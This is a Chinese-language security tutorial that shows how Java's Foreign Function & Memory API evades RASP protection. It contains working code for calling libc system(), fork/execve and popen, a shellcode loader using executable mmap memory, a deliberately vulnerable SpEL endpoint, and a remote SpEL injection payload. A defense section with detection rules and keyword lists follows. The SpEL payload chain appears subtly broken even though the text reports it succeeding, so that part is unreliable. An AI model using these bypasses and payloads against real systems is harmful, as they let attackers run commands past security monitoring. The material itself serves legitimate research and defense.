FFM API之RASP 绕过
字数 9516
更新时间 2026-05-19 14:14:31

FFM API 绕过RASP防护教学

概述

本文档基于FFM API绕过RASP的技术文章,详细阐述Java Foreign Function & Memory (FFM) API如何绕过传统的RASP(运行时应用自保护)防护机制,并实现原生系统命令执行。通过多个实验逐步深入,从基本原理到实际利用,并最终提供防御策略。


一、引言

Java 命令执行的攻防对抗已持续十余年。从反序列化到JNDI注入,再到各类表达式注入,攻防双方围绕 Runtime.exec()ProcessBuilder 这两个入口反复博弈。防守侧的RASP产品几乎都将这两个类的关键方法作为核心Hook点,配合进程行为审计,构建了严密的命令执行防线。

JDK 21引入了 Foreign Function & Memory API(JEP 442, Third Preview),其设计初衷是替代JNI,为Java提供高性能的本地互操作能力。但从安全角度看,这套API开辟了一条不经过传统Java API层的原生代码执行通道——通过FFM API直接调用glibc的 system() 函数执行命令,整个路径完全不触及 RuntimeProcessBuilder,基于Java字节码插桩的RASP产品对此无感知。

更进一步,利用 mmap() 分配带有执行权限的内存区域并加载Shellcode,可以在JVM进程空间内直接执行机器码,不产生任何子进程,对主机入侵检测体系构成结构性挑战。

免责声明:本文内容仅供安全研究与授权渗透测试。利用本文技术对未授权系统进行攻击属于违法行为,由此产生的一切后果由行为人自行承担。


二、FFM API 核心原理

FFM API 由 java.lang.foreign 包提供,其核心组件如下:

核心类/接口 职责 攻击相关性
Linker Java 与本地代码的桥梁,提供 downcall(Java→Native)和 upcall(Native→Java)能力 核心入口,通过 nativeLinker() 获取
SymbolLookup 在已加载的共享库中查找函数符号地址 定位 system()mmap()等 libc 函数
FunctionDescriptor 描述本地函数的参数和返回值类型 必须与目标 C 函数签名严格匹配
MemorySegment 表示一段连续的内存区域(堆内或堆外) 传递字符串参数、写入 Shellcode
Arena 管理 MemorySegment 的生命周期 控制分配的内存何时释放
ValueLayout 定义基本数据类型的内存布局 构造 FunctionDescriptor时使用

2.1 调用流程

调用一个本地函数分为四步:

  1. 获取 LinkerLinker.nativeLinker() 获取当前平台链接器。
  2. 查找符号:通过 SymbolLookup 在已加载的库中查找目标函数地址。
  3. 创建 MethodHandledowncallHandle(地址, FunctionDescriptor) 得到可调用句柄。
  4. 分配参数并调用:通过 Arena 分配堆外内存存放 C 字符串等参数,然后 invoke() 执行。

2.2 与 JNI 的关键差异

理解这个差异是理解RASP绕过的前提:

对比维度 JNI FFM API
开发方式 需编写 C/C++ 代码,编译 .so/.dll 纯 Java 代码,无需本地编译
部署依赖 需要 .so 文件落盘 无额外文件,直接调用系统已加载的库
安全审计 较容易识别(System.loadLibrary()调用、文件落盘) 纯 Java 调用,不触发文件系统操作
RASP 可见性 可 Hook System.loadLibrary() 不经过任何已知 Hook 点

FFM API 的本质是在 JVM 进程内部,通过 MethodHandle 机制直接发起 Native 函数调用。调用路径为 downcallHandle → JVM adapter stub → libffi → 目标 C 函数,完全绕过 java.lang.Runtimejava.lang.ProcessBuilder 的代码路径。


三、环境搭建

3.1 环境概览

组件 版本 / 说明
操作系统 Kali Linux 2026.1(攻击机兼靶机,可分离部署)
JDK OpenJDK 21.0.2+13
构建工具 Maven 3.9.x
目标应用 Spring Boot 3.2.5(内嵌 Tomcat)

3.2 安装 JDK 21

在Kali Linux或其他Debian系发行版上安装OpenJDK 21:

sudo apt update
sudo apt install openjdk-21-jdk

安装后,通过 java -version 确认版本。

3.3 创建漏洞靶场应用

构建一个存在SpEL表达式注入漏洞的Spring Boot应用,作为后续远程利用的目标。

项目结构:

  • pom.xml: 定义项目依赖,包含Spring Boot Starter Web。
  • VulnApplication.java: 主应用类。
  • VulnController.java: 包含漏洞接口的控制器。

VulnController.java (漏洞接口):

import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class VulnController {
    @GetMapping("/eval")
    public String eval(@RequestParam("exp") String exp) {
        ExpressionParser parser = new SpelExpressionParser();
        // 危险操作:将用户输入直接拼接到表达式解析
        Object result = parser.parseExpression(exp).getValue();
        return "Result: " + result;
    }
}

3.4 编译与启动

  1. 编译项目:mvn clean package
  2. 运行应用:java --enable-preview -jar target/ffm-vuln-app-1.0.0.jar

测试接口

  • 访问 http://localhost:8080/eval?exp=1%2B1,返回 Result: 2。说明SpEL表达式注入点正常工作。

四、实验一:FFM API 直调 libc 执行系统命令

以独立Java程序演示FFM API调用libc system() 执行命令的完整过程。

4.1 完整代码

FfmSystemExec.java:

import java.lang.foreign.*;
import java.lang.invoke.MethodHandle;
import static java.lang.foreign.ValueLayout.ADDRESS;
import static java.lang.foreign.ValueLayout.JAVA_INT;

public class FfmSystemExec {
    public static void main(String[] args) throws Throwable {
        // 1. 获取平台链接器
        Linker linker = Linker.nativeLinker();
        // 2. 在默认查找器中查找 system 函数
        SymbolLookup stdlib = linker.defaultLookup();
        MemorySegment systemAddr = stdlib.find("system").orElseThrow();
        // 3. 描述 C 函数签名: int system(const char* command)
        FunctionDescriptor systemDesc = FunctionDescriptor.of(JAVA_INT, ADDRESS);
        MethodHandle systemHandle = linker.downcallHandle(systemAddr, systemDesc);
        // 4. 分配内存,存放命令字符串
        String cmd = "id";
        try (Arena arena = Arena.ofConfined()) {
            MemorySegment cmdSegment = arena.allocateFrom(cmd);
            // 5. 调用 system()
            int exitCode = (int) systemHandle.invoke(cmdSegment);
            System.out.println("Exit code: " + exitCode);
        }
    }
}

4.2 编译与执行

# 编译 (注意JDK 21需启用预览特性)
javac --enable-preview --release 21 FfmSystemExec.java
# 运行
java --enable-preview FfmSystemExec

程序将执行 id 命令,并在控制台输出 Exit code: 0

4.3 调用链逐层分析

步骤 Java 层操作 底层行为
1 Linker.nativeLinker() 获取平台 Linker 实现(Linux 下为基于 libffi 的实现)
2 defaultLookup().find("system") 本质是 dlsym(RTLD_DEFAULT, "system"),在进程符号表中查找
3 downcallHandle(addr, desc) JVM 生成 adapter stub 代码,处理 Java/C 调用约定转换(System V AMD64 ABI)
4 systemHandle.invoke(cmdStr) adapter stub 直接跳转到 libc system() 的机器码入口

整个过程中没有任何代码涉及 java.lang.Runtimejava.lang.ProcessBuilderjava.lang.ProcessImpl

从 JVM 角度看,这只是一次 MethodHandle.invoke() 调用。从操作系统角度看,system() 内部的 fork()+execve() 由 libc 发起,完全在 Java 字节码插桩的感知范围之外。

4.4 fork + execve 精细控制

system() 内部通过 /bin/sh -c 执行命令,进程树中会出现 sh 进程,可能被 EDR 捕获。直接调用 fork()+execve() 可以避免中间shell进程,实现更隐蔽的执行。

FfmStealthExec.java 核心代码片段:

// 查找 fork, execve, waitpid
MemorySegment forkAddr = stdlib.find("fork").orElseThrow();
MemorySegment execveAddr = stdlib.find("execve").orElseThrow();
MemorySegment waitpidAddr = stdlib.find("waitpid").orElseThrow();

// 创建 MethodHandle
MethodHandle forkHandle = linker.downcallHandle(forkAddr, FunctionDescriptor.of(JAVA_INT));
MethodHandle execveHandle = linker.downcallHandle(execveAddr,
        FunctionDescriptor.of(JAVA_INT, ADDRESS, ADDRESS, ADDRESS));
MethodHandle waitpidHandle = linker.downcallHandle(waitpidAddr,
        FunctionDescriptor.of(JAVA_INT, JAVA_INT, ADDRESS, JAVA_INT));

int pid = (int) forkHandle.invoke();
if (pid == 0) { // 子进程
    // 准备 execve 参数
    String[] cmdArgs = {"/bin/sh", "-c", "id"};
    try (Arena arena = Arena.ofConfined()) {
        MemorySegment argsSegment = arena.allocateArray(ADDRESS, cmdArgs.length + 1);
        for (int i = 0; i < cmdArgs.length; i++) {
            argsSegment.setAtIndex(ADDRESS, i, arena.allocateFrom(cmdArgs[i]));
        }
        argsSegment.setAtIndex(ADDRESS, cmdArgs.length, MemorySegment.NULL);
        execveHandle.invoke(arena.allocateFrom("/bin/sh"), argsSegment, MemorySegment.NULL);
    }
    System.exit(1); // execve 失败才执行
} else { // 父进程
    waitpidHandle.invoke(pid, MemorySegment.NULL, 0);
}

关键点:

  • fork() 后子进程继承了 JVM 的多线程状态,但只有调用 fork() 的线程被保留。子进程应尽快调用 execve() 完成进程替换。
  • 增加了 waitpid() 确保父进程(JVM)等待子进程执行完毕后再继续,避免产生僵尸进程。

五、实验二:strace 验证调用链差异

通过 strace 跟踪两种命令执行方式的系统调用序列,直观展示路径差异。

5.1 传统 Runtime.exec() 的 strace 输出

TraditionalExec.java:

public class TraditionalExec {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("id");
    }
}

编译并用 strace 跟踪:

javac TraditionalExec.java
strace -f -e trace=process java TraditionalExec

关键输出

[pid 12345] clone3(flags=CLONE_VM|CLONE_VFORK, child_tid=0x...) = 12346
[pid 12346] execve("/usr/bin/id", ["id"], 0x...) = 0

这是 ProcessImpl.forkAndExec() 的底层实现,JNI 方法发起了 clone3(CLONE_VFORK) 创建子进程。RASP 可以在 Java 层对此进行拦截。

5.2 FFM API 方式的 strace 输出

运行实验一的 FfmSystemExec

strace -f -e trace=process java --enable-preview FfmSystemExec

关键输出

[pid 54321] clone3(flags=CLONE_VM|CLONE_VFORK, child_tid=0x...) = 54322
[pid 54322] execve("/bin/sh", ["sh", "-c", "id"], 0x...) = 0

差异对比

维度 传统 Runtime.exec() FFM API system()
clone3 发起者 ProcessImpl.forkAndExec() (JNI) libc system() (Native)
execve 目标 直接 /usr/bin/id /bin/sh,再由 sh 派生 id
进程链 java → id(2层) java → sh → id(3层)
Java 层入口 ProcessBuilder.start()ProcessImpl MethodHandle.invoke() → 无 Java 类参与

结论:从操作系统层面看,FFM API 方式不经过 Java 层已知的进程创建 API,RASP 无法在 Java 字节码层拦截。


六、实验三:RASP 绕过对比验证

通过编写轻量级RASP Agent验证其对不同命令执行方式的拦截效果。

6.1 RASP Agent 实现

此Agent通过 SecurityManager.checkExec() 拦截所有通过 Runtime.exec() / ProcessBuilder 发起的命令执行。JDK 17+ 需显式开启 SecurityManager

SimpleRasp.java:

import java.lang.instrument.Instrumentation;
import java.security.Permission;

public class SimpleRasp {
    public static void premain(String args, Instrumentation inst) {
        System.setSecurityManager(new SecurityManager() {
            @Override
            public void checkExec(String cmd) {
                System.out.println("[RASP BLOCKED] Command execution attempted: " + cmd);
                throw new SecurityException("RASP blocked command: " + cmd);
            }
        });
    }
}

MANIFEST.MF:

Manifest-Version: 1.0
Premain-Class: SimpleRasp

编译打包:

javac SimpleRasp.java
jar cvfm SimpleRasp.jar MANIFEST.MF SimpleRasp.class

6.2 对比测试程序

RaspBypassTest.java:

public class RaspBypassTest {
    public static void main(String[] args) throws Throwable {
        System.out.println("=== Testing Runtime.exec ===");
        try {
            Runtime.getRuntime().exec("whoami");
        } catch (SecurityException e) {
            System.out.println(e.getMessage());
        }

        System.out.println("\n=== Testing ProcessBuilder ===");
        try {
            new ProcessBuilder("whoami").start();
        } catch (SecurityException e) {
            System.out.println(e.getMessage());
        }

        System.out.println("\n=== Testing FFM API ===");
        // 此处插入实验一的 FFM API 调用 system("whoami") 的代码
        // ... (调用代码略)
    }
}

6.3 执行与结果

编译并挂载Agent运行:

javac --enable-preview --release 21 RaspBypassTest.java
java -javaagent:SimpleRasp.jar --enable-preview RaspBypassTest

预期输出

=== Testing Runtime.exec ===
[RASP BLOCKED] Command execution attempted: whoami
RASP blocked command: whoami

=== Testing ProcessBuilder ===
[RASP BLOCKED] Command execution attempted: whoami
RASP blocked command: whoami

=== Testing FFM API ===
uid=1000(user)  # 命令成功执行,RASP无拦截

6.4 结果分析

执行方式 RASP 拦截结果 命令是否执行 原因
Runtime.exec() 已拦截 触发 SecurityManager.checkExec()
ProcessBuilder.start() 已拦截 内部调用路径同上
FFM API → system() 未拦截 不经过 Java 进程创建 API

七、实验四:Shellcode 内存加载与执行

system() 绕过了Java层RASP,但内部仍会 fork 子进程。更进一步,通过 FFM API 调用 mmap() 分配可执行内存,直接在 JVM 进程内执行 Shellcode,不产生任何子进程。

7.1 技术原理

  1. 通过 FFM API 调用 mmap(),以 PROT_READ|PROT_WRITE|PROT_EXEC (0x7) 权限分配内存。
  2. 将 Shellcode 字节写入该内存。
  3. 将内存地址作为函数指针,通过 downcallHandle() 包装为 MethodHandle 并调用。

7.2 Shellcode 说明

使用一段无害的 x86_64 Linux Shellcode,功能是调用 write(1, "FFM_PWN\n", 8) 向标准输出打印字符串后正常返回。

手写汇编对照:

BITS 64
section .text
global _start
_start:
    xor eax, eax
    mov al, 1      ; syscall number for write
    xor edi, edi
    inc edi        ; fd = 1 (stdout)
    lea rsi, [rel msg]  ; buffer
    xor edx, edx
    mov dl, 8      ; count = 8
    syscall
    ret
msg:
    db "FFM_PWN", 0x0a

编译后的机器码字节序列:

byte[] shellcode = {
    (byte)0x31, (byte)0xc0,                    // xor eax, eax
    (byte)0xb0, (byte)0x01,                    // mov al, 1
    (byte)0x31, (byte)0xff,                    // xor edi, edi
    (byte)0xff, (byte)0xc7,                    // inc edi
    (byte)0x48, (byte)0x8d, (byte)0x35, (byte)0x08, (byte)0x00, (byte)0x00, (byte)0x00, // lea rsi, [rip+0x08]
    (byte)0x31, (byte)0xd2,                    // xor edx, edx
    (byte)0xb2, (byte)0x08,                    // mov dl, 8
    (byte)0x0f, (byte)0x05,                    // syscall
    (byte)0xc3,                                // ret
    (byte)0x46, (byte)0x46, (byte)0x4d, (byte)0x5f, (byte)0x50, (byte)0x57, (byte)0x4e, (byte)0x0a // "FFM_PWN\n"
};

关键计算lea rsi, [rip+0x08] 中的 0x08 是从下一条指令(mov edx)到字符串数据的距离。lea 指令执行时 RIP 指向下一条指令(偏移17),字符串起始于偏移25,差值 = 25 - 17 = 8 = 0x08。偏移错误会导致段错误。

7.3 完整利用代码

FfmShellcodeLoader.java:

import java.lang.foreign.*;
import java.lang.invoke.MethodHandle;
import static java.lang.foreign.ValueLayout.ADDRESS;
import static java.lang.foreign.ValueLayout.JAVA_LONG;

public class FfmShellcodeLoader {
    public static void main(String[] args) throws Throwable {
        Linker linker = Linker.nativeLinker();
        SymbolLookup libc = linker.defaultLookup();

        // 1. 查找 mmap
        MemorySegment mmapAddr = libc.find("mmap").orElseThrow();
        FunctionDescriptor mmapDesc = FunctionDescriptor.of(ADDRESS, ADDRESS, JAVA_LONG, JAVA_LONG, JAVA_LONG, JAVA_LONG, JAVA_LONG);
        MethodHandle mmap = linker.downcallHandle(mmapAddr, mmapDesc);

        // 2. 分配可读写执行的内存 (PROT_READ|PROT_WRITE|PROT_EXEC = 0x7, MAP_ANONYMOUS|MAP_PRIVATE = 0x22)
        long size = 1024;
        MemorySegment code = (MemorySegment) mmap.invoke(
                MemorySegment.NULL, // addr
                size,              // length
                7L,                // prot
                0x22L,             // flags
                -1L,               // fd
                0L                 // offset
        );
        // 重要:reinterpret 扩展可访问范围
        MemorySegment codeSegment = code.reinterpret(size);

        // 3. 写入 Shellcode
        byte[] shellcode = {...}; // 使用7.2节的字节序列
        for (int i = 0; i < shellcode.length; i++) {
            codeSegment.set(ValueLayout.JAVA_BYTE, i, shellcode[i]);
        }

        // 4. 将内存地址转为函数句柄并调用
        FunctionDescriptor voidDesc = FunctionDescriptor.ofVoid();
        MethodHandle shellcodeHandle = linker.downcallHandle(codeSegment, voidDesc);
        shellcodeHandle.invoke();

        // 5. 清理 (可选)
        MemorySegment munmapAddr = libc.find("munmap").orElseThrow();
        MethodHandle munmap = linker.downcallHandle(munmapAddr, FunctionDescriptor.of(JAVA_LONG, ADDRESS, JAVA_LONG));
        munmap.invoke(codeSegment, size);
    }
}

7.4 编译执行

javac --enable-preview --release 21 FfmShellcodeLoader.java
java --enable-preview FfmShellcodeLoader

输出:FFM_PWN。该字符串由 Shellcode 通过 write 系统调用直接写到 stdout,JVM 执行完毕后继续正常运行。

7.5 关键技术细节

  • Shellcode 执行后 JVM 为什么不会崩溃? 关键在于 Shellcode 末尾的 ret 指令。downcallHandle() 生成的 adapter stub 遵循 System V AMD64 ABI,调用目标函数前保存了调用栈帧。Shellcode 通过 ret 正常返回后,控制流交还给 adapter stub,再返回到 Java 层的 invoke() 调用点。只要 Shellcode 不破坏 callee-saved 寄存器(rbx, rbp, r12-r15)和栈指针,JVM 就能保持稳定。
  • mmap 返回值的处理:FFM API 中,downcall 返回 ADDRESS 类型时得到的 MemorySegment 默认是零长度的,不能直接读写。必须调用 .reinterpret(newSize) 扩展其可访问范围。忘记此步骤会在写入时抛出 IndexOutOfBoundsException

八、实验五:SpEL 注入场景下的 FFM 利用链

本节将视角切换到远程利用场景:通过Web应用的SpEL注入漏洞,远程构造FFM API利用链。

8.1 传统 SpEL RCE Payload

常规的SpEL命令执行Payload:T(java.lang.Runtime).getRuntime().exec('id')。这条payload在有RASP防护或WAF的环境中会被拦截,因为包含 Runtimeexec 等敏感关键字。

8.2 FFM API 利用链构造

SpEL支持通过 T() 操作符引用Java类型和静态方法,支持链式调用。完整的FFM API利用链可以在单条表达式中构造:

T(java.lang.foreign.Linker).nativeLinker()
  .defaultLookup()
  .find("system").get()
  .downcallHandle(
    T(java.lang.foreign.FunctionDescriptor).of(
      T(java.lang.foreign.ValueLayout.JAVA_INT),
      T(java.lang.foreign.ValueLayout.ADDRESS)
    )
  )
  .invoke(
    T(java.lang.foreign.Arena).ofAuto().allocateFrom("id")
  )

逐层拆解

层级 SpEL 片段 功能
1 T(j.l.f.Linker).nativeLinker() 获取本地链接器
2 .defaultLookup().find('system').get() 查找 libc system 函数地址
3 FunctionDescriptor.of(JAVA_INT, ADDRESS) 描述 int system(const char*) 签名
4 .downcallHandle(addr, desc) 创建指向 system()MethodHandle
5 Arena.ofAuto().allocateFrom('id') 分配堆外内存存放命令字符串
6 .invoke(memSeg) 触发命令执行

注意find() 返回 Optional<MemorySegment>,这里用 .get() 而非 .orElseThrow(),因为SpEL对lambda表达式支持有限。在确认目标环境是Linux的情况下,system 符号必然存在,直接 .get() 即可。

8.3 远程利用步骤

确保靶场应用已启动。

Step 1:确认注入点正常工作
访问:http://localhost:8080/eval?exp=1%2B1,返回 Result: 2

Step 2:发送 FFM API 利用链
将上述长表达式拼接为一行并URL编码后发送:

GET /eval?exp=T(java.lang.foreign.Linker).nativeLinker().defaultLookup().find(%22system%22).get().downcallHandle(T(java.lang.foreign.FunctionDescriptor).of(T(java.lang.foreign.ValueLayout.JAVA_INT),T(java.lang.foreign.ValueLayout.ADDRESS))).invoke(T(java.lang.foreign.Arena).ofAuto().allocateFrom(%22id%22)) HTTP/1.1
Host: localhost:8080

攻击端 HTTP 响应Result: 0 (system返回值)。
靶场服务端控制台输出uid=1000(user) ...
system() 的输出打到了靶场进程的 stdout,HTTP 响应只返回了 system() 的返回值 0。

8.4 带回显的改进:popen + fgets

要在HTTP响应中获取命令输出,需要使用 popen() + fgets() 组合。以下为独立的Java验证程序:

FfmPopenExec.java 核心逻辑:

// 查找 popen, fgets, pclose
MemorySegment popenAddr = libc.find("popen").orElseThrow();
MemorySegment fgetsAddr = libc.find("fgets").orElseThrow();
MemorySegment pcloseAddr = libc.find("pclose").orElseThrow();

MethodHandle popen = linker.downcallHandle(popenAddr, FunctionDescriptor.of(ADDRESS, ADDRESS, ADDRESS));
MethodHandle fgets = linker.downcallHandle(fgetsAddr, FunctionDescriptor.of(ADDRESS, ADDRESS, JAVA_INT, ADDRESS));
MethodHandle pclose = linker.downcallHandle(pcloseAddr, FunctionDescriptor.of(JAVA_INT, ADDRESS));

try (Arena arena = Arena.ofConfined()) {
    MemorySegment cmd = arena.allocateFrom("id");
    MemorySegment mode = arena.allocateFrom("r");
    MemorySegment pipe = (MemorySegment) popen.invoke(cmd, mode);
    MemorySegment buffer = arena.allocate(256);
    StringBuilder output = new StringBuilder();
    while (true) {
        MemorySegment line = (MemorySegment) fgets.invoke(buffer, 256, pipe);
        if (line.address() == 0) break;
        output.append(line.reinterpret(256).getString(0));
    }
    int ret = (int) pclose.invoke(pipe);
    System.out.println("Output: " + output);
}

与之前 system() 只能在服务端 stdout 输出不同,popen()+fgets() 组合把命令输出完整捕获到了 Java 的 StringBuilder 中。这意味着在 SpEL 注入场景下,攻击者可以通过 HTTP 响应直接拿到命令回显,不需要额外的带外通道。

8.5 利用链对比

维度 传统 SpEL RCE FFM API SpEL RCE
入口 T(Runtime).exec() T(Linker).nativeLinker().downcallHandle(...)
底层调用链 Runtime → ProcessBuilder → ProcessImpl → forkAndExec Linker → adapter stub → libffi → libc
RASP 可见 完全可见 不可见
WAF 关键字 Runtime、exec、getRuntime Linker、foreign、downcallHandle
前置条件 JVM 启用 --enable-preview (JDK21) 或 JDK 22+

九、防御方案与检测策略

9.1 JVM 层:限制 FFM API 使用权限(根因阻断)

  • JDK 21:FFM API 处于 Preview 阶段,生产环境不启用 --enable-preview 参数即可从根源上阻断。
  • JDK 22+:FFM API 已正式转正,但引入了 --enable-native-access 参数控制哪些模块可以进行 Native 调用:
    # 完全禁止
    java --enable-native-access=NONE -jar app.jar
    # 仅允许指定模块
    java --enable-native-access=ALL-UNNAMED -jar app.jar
    

9.2 RASP 层:扩展 Hook 覆盖范围

RASP 产品需要将 FFM API 关键入口纳入监控:

新增 Hook 点 类 / 方法 监控目的
链接器获取 Linker.nativeLinker() 检测 Native 链接器获取行为
符号查找 SymbolLookup.find(String) 检测敏感函数(system、execve、mmap、popen)查找
Downcall 创建 Linker.downcallHandle() 检测 Native 函数调用句柄创建
库加载 SymbolLookup.libraryLookup() 检测额外共享库加载

实施建议:对 SymbolLookup.find() 插桩,维护敏感函数黑名单(system, execve, popen, mmap, dlopen, mprotect),匹配时触发告警或阻断。

9.3 主机层:eBPF 监控

内核级监控是对抗 Shellcode 加载最有效的手段。通过 eBPF 挂载到 mmap 系统调用,检测带 PROT_EXEC 标志的内存分配:

监控脚本示例 (bpftrace):

#!/usr/bin/bpftrace
kprobe:do_mmap
{
    $prot = (int32)arg(2);
    if ($prot & PROT_EXEC) {
        printf("PID %d (%s) attempted to allocate executable memory. prot=0x%x\n", pid, comm, $prot);
    }
}

在另一个终端运行 Shellcode 加载实验时,bpftrace 会输出类似:

PID 54321 (java) attempted to allocate executable memory. prot=0x7

Java 进程正常运行时几乎不会分配 prot=0x7(RWX)的内存,因此该检测规则误报率极低。JIT 编译器分配的代码缓存使用 mmap + 后续 mprotect 的方式,不会一次性申请 RWX。

9.4 WAF 层:更新规则库

Web 应用防火墙需要新增 FFM API 关键字检测:

  • 关键字扩展:在现有的命令执行规则中,加入 LinkernativeLinkerdowncallHandleSymbolLookupArena 等 FFM API 核心类名和方法名。
  • 语法感知检测:针对 SpEL 表达式,检测 T(java.lang.foreign 开头的类引用。

十、总结

语言层面每引入一种新的 Native 交互能力,就可能产生新的绕过路径。FFM API 提供了一种完全绕过传统Java层RASP监控的原生代码执行能力。防御方需要从多层面进行防护:

  1. 源头控制:在JVM启动参数上严格限制FFM API的使用权限。
  2. RASP演进:从仅监控 Runtime/ProcessBuilder 扩展到监控 java.lang.foreign 包下的关键操作。
  3. 内核监控:利用 eBPF 等底层技术监控可疑的系统调用行为(如分配可执行内存)。
  4. WAF更新:在应用层检测利用FFM API特征的攻击载荷。

更持久的方案是监控底层行为——无论上层通过什么 API 发起调用,最终的系统调用行为(execvemmap+PROT_EXEC)是不变的。eBPF 在这个方向上的价值会越来越大。Java 从一个纯托管的沙箱语言,逐步演变为拥有直接 Native 互操作能力的系统级语言。安全防护的思路需要随之演进——从 Java 层的 API 拦截,向内核层的行为监控下沉。

相似文章
相似文章
 全屏